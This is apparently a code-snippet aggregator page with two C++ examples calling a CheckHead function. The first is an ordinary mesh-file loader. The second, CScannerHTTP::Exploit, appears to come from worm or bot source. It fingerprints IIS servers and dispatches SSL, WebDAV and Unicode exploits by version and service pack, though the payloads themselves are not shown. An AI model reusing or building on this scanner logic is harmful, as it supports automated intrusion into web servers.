Exemple #1
0
    void DiMeshSerializer::ImportMesh( DiDataStreamPtr& stream, DiMesh* pDest )
    {
        DI_SERIAL_LOG("Loading mesh : %s", stream->GetName().c_str());
        char sign[4];
        stream->Read(sign,4);

        if (CheckHead(sign))
        {
            uint16 version;
            stream->Read(&version,sizeof(uint16));

            DI_SERIAL_LOG("Mesh version: %d", version);

            if (version >= MODEL_SERIAL_VERSION_NUM)
            {
                DI_ERROR("Unknow mesh version.");
                return;
            }

            DiMeshSerializerImpl* impl = GetImplemention((DiMeshSerialVersion)version);
            if (impl)
            {
                impl->ImportMesh(stream,pDest);
            }

            DI_DELETE impl;
            return;
        }

        DI_ERROR("Invalid mesh file head.");
        return;
    }
Exemple #2
0
bool CScannerHTTP::Exploit() {
	int iHTTPType=CheckHead(), iOptions; switch(iHTTPType) {
	case HTTP_TYPE_IIS_55: {
		iOptions=CheckOptions();
		ExploitIISSSL(iHTTPType);
		if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4F4E);	// SP3
		if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4142);	// ~SP0 ~SP2
		if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4143);	// ~SP1 ~SP2
		ExploitIISUnicode(); }
	break;
	case HTTP_TYPE_IIS_50: {
		iOptions=CheckOptions();
		ExploitIISSSL(iHTTPType);
		if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4F4E);	// SP3
		if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4142);	// ~SP0 ~SP2
		if(iOptions==HTTP_OPTION_WEBDAV) ExploitIISWebDav(iHTTPType, 0x4143);	// ~SP1 ~SP2
		ExploitIISUnicode(); }
	break;
	case HTTP_TYPE_IIS_40: {
		ExploitIISUnicode(); }
	break;
	default: break; }

	return false; }